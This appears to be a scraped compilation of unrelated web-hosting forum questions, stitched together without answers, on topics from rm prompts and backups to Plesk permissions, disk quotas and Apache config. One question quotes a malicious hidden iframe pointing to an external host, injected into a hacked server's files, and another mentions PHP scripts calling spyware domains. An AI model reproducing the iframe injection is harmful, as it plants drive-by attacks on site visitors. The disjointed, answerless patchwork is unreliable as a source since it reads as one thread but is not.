Something weird happening here. I have tried every string possible...
There are a number of folders I want to remove off my server, tried the good old and simple...
rm -r /folder/
And then went and ended up with a string as long as my screen. No matter what I do, as it goes recursive in to the directory it asks me if I want to remove each file individually. No matter what string or action I take it insists on asking me as it goes to delete each file.
I'm currently using (amongst other backup systems) rsync to an offsite space (am using BQBackup at the moment)
I'm just wondering - apart from backing up all of /home/, /var/lib/mysql/ and the important config files (httpd.conf, php.conf, etc etc) is there anything else that *needs* to be backed up?
Obviously in a worst case scenario, a new machine would be deployed with a fresh OS install (and a fresh WHM/cPanel install) so I wouldn't worry about backing up OS files or cPanel core files, although I'm wondering if there's anything apart from the /home/ directory and the MySQL databases which would be lost (and so need backing up) in the event of a crash?
If users copy files/folders on Plesk Panel 11/12 with attribute "read-only", I don't see this attribute on File Manager, every time do next "attrib -r <path to file/folder".
Maybe you can improve functionality of "File Manager" on Plesk Panel 12?
I have a concern during the installation of PrestaShop. I created a subdomain through Plesk, put my files on my server via FTP. During installation of PrestaShop, I have a problem:
Recursive write permissions for the Apache user on the ~ / config /
My user is "NOWIS" and my group is "psacln" ....
I think the user "NOWIS" has no rights as "Apache" ....
we've been having issues with reaching or exceeding our disk quotas. I've checked carefully, and while I've cleared our mail queue's, I don't think that's the issue.
So what I'm really looking for is a way to figure out why we have so many files (our quota is 220000, and I'm pretty confident that we aren't intentionally doing anything to create so many files). There's lots of information on finding the folders with the largest file sizes, but locating the folders with the greatest number of files isn't quite so simple--or at least, it doesn't seem very clear to me.
Does anyone know a way via the command line to figure out this information, short of going through every single folder and figuring out how many files are in the specific folder?
I have the following problem, the files and folders generated by PHP are hidden in FTP.
I can see in the Plesk file manager that users, permissions and groups are the same for all files and folders (those that can be seen and those that cannot be seen from FTP).
All the options in the server are set by default. It is a new installation of Plesk 12.0.18 #4 in CentOS 6.5 (Final).
My server was being hacked, I can find some HTML and PHP files which inserted the codes similar to the following by the hacker.
HTML Code: <iframe src="http://a5g.ru:8080/ts/in.cgi?pepsi94" width=125 height=125 style="visibility: hidden">< /iframe> The inserted iframe src is not the same among the hacked files.
I am trying to find out all the hacked files on server, is there any way instead of checking the files manually?
I have a dedicated server, the server itself is secure (as far as I know) and I run lots of my sites from it. I offered a friend hosting for his flash based chat application he built.
Today I was contacted by someone; "Are you the owner of xxxx.net?" so I informed that yes, it was my server and they then showed me an email they'd received from my server. I did a search and apparently someone uploaded mail.php and a couple of files it was using to send out spam based upon a variety of conditions that the other files met. The files contained forenames and surnames, it'd use a forename and a surname then send it to popular free mail services. The email contained ramblings about new world order and promoted a website.
How can I find out how they got the files uploaded to the account and what action can I take? I checked the whois for the domain and have their contact information, however it's a large site so I'm doubtful that the owner did it. I don't want my servers IPs being blacklisted for spam :|
Is there a way to get Apache to tell me which .conf file it is loading at start-up?
There's a box that's misbehaving and Apache is running on port 80 and 8080 on the box... but we can't locate *why* it's running on port 8080. I can't find any Listen 8080 statement in the typical config files. If I knew which config files it was loading, I could go through all of the files in more detail.
I have an odd problem... after transferring several hundred .php files to one of our servers we noticed that the browser was showing "?" output only.
When I open the file in "vi" (we're running centos 5.x), I can see this at the end of the file:
Code: ... </HTML> ^@^@<?php //comment goes here ?> ------------- I highlighted in red bold the problem text. If these four characters are removed from the file (edited out manually using vi) then the file displays and works correctly.
However.. there are several hundred of these files, and some have the problem and some don't.
I've tried everything I know to find which files contain the problem, but so far no luck.
ie:
grep -r "^@" .; grep -r "^@" .;
Basically.. I need to find any instance of these characters and then remove them.
I am being hacked & I don't know how they are getting files on my server. They are doing it on two of my domains, I suspended one and then they got it on the other. My FTP access log does not show anything suspicious..
how can i do a search for all files (probs using regex) of files consisting purely of numbers?
for e.g. find:
53243.php 24353.php 24098.php
(always have 5 numbers).
seems one of my accounts has had some script run which generated a bunch of these in various subfolders, and the php file basically does a callback to www3.rssnews.ws and www3.xmldata.info, which seem to be some sort of spyware servers.
Because i have couple site hosted by both hosting company (DTH=downtownhost and TCH=totalchoicehosting) and have positive experience with them i needed to make decision who will be hoster for my new project.
The problem was by both company and by 99% others that traceroute command is not enabled by default and it is essential for my new project.
After exchanging a couple emails with both companies DTH was winner again because DTH allow on shared hosting traceroute command (in situation that you need it).
Answer from TCH was that only on VPS (semi-dedicated) is traceroute command possible and not on shared envirovment.
I must again praise DTH for the way how they handle with their customers and that they are ready to do everything for their customers. Not wonder that they are one of the greatest hosting company.
where I can get a simple SSL certificate for my web hosting business? So my customers feel safe on submitting their information. Is the standard SSL from GoDaddy pretty good?
So I was trying to run a backup process in Plesk 8.1 and the whole panel froze up on me (it's happened numerous times before).
Anyway, since the panel was all frozen up I just went into SSH and did a simple "reboot" (also, as done before many times). Only problem is, this time after I did the reboot the server never actually came back online... it seems to be locked up or something, I have no idea what.
I called my host and they are looking into it but they have no idea what's going on either and it's taking them forever to figure it out all the meanwhile my sites are down.... this isn't good.
Does anyone have any suggestions or advice as to why this could be occuring?
when I get a server it comes with cPanel and I don't have to do much to get it going, but this time I don't need all the bells and whistles. What should I do to get a server with only CentOS to start running a pretty simple web server that just listens on whatever ip? I just want it to run php,mysql, and a web server which I know how to setup already. What I want to know is what else is necessary to setup? Resolvers, the hostname, bind, named, etc?
